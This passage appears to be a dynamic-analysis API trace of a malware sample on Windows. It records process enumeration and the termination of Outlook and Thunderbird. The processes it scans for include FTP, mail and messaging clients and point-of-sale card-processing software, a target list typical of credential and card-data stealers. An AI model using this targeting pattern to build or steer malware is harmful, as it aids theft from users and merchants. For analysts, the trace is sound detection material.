lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0087.850] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.851] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0087.852] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.852] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.853] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.854] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.855] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.856] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.856] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.857] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.858] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.858] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.859] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0087.859] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.860] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0087.861] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0087.862] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0087.862] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0087.863] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0087.864] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0087.864] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0087.865] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0087.866] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0087.866] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0087.867] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0087.867] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0087.868] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="actuallyutilization.exe")) returned 1 [0087.868] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0088.060] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="midnight_conclusions_venezuela.exe")) returned 1 [0088.061] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="capture guardian kits.exe")) returned 1 [0088.061] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="nursing op deputy.exe")) returned 1 [0088.062] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scenariooperatingdts.exe")) returned 1 [0088.062] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ranksphysicians.exe")) returned 1 [0088.063] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="inf distributors.exe")) returned 1 [0088.064] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="sa_surf_dig.exe")) returned 1 [0088.065] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="powered.exe")) returned 1 [0088.065] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fiction.exe")) returned 1 [0088.066] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="methodology-iowa-inclusion.exe")) returned 1 [0088.067] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mhz.exe")) returned 1 [0088.067] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="stores predictions calculations.exe")) returned 1 [0088.068] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ogmothers.exe")) returned 1 [0088.069] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="beside-bedford.exe")) returned 1 [0088.070] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="curves.exe")) returned 1 [0088.070] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="vi-ieee.exe")) returned 1 [0088.071] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="costa.exe")) returned 1 [0088.071] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0088.072] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0088.073] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0088.075] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0088.076] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0088.077] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0088.078] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0088.079] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0088.080] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0088.081] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0088.082] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0088.084] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0088.085] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0088.086] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0088.087] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0088.089] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0088.090] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0088.091] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0088.093] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0xa80) returned 0x304 [0088.093] TerminateProcess (hProcess=0x304, uExitCode=0x0) returned 1 [0088.422] CloseHandle (hObject=0x304) returned 1 [0088.423] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0088.424] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0088.425] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0088.426] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0088.427] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0088.428] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0xea8) returned 0x304 [0088.428] TerminateProcess (hProcess=0x304, uExitCode=0x0) returned 1 [0088.438] CloseHandle (hObject=0x304) returned 1 [0088.438] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0088.439] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0088.440] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0088.441] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0088.442] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0088.443] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0088.444] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0088.445] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0088.446] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0088.447] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0088.448] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0088.449] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0088.450] Process32NextW (in: hSnapshot=0x2c8, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, 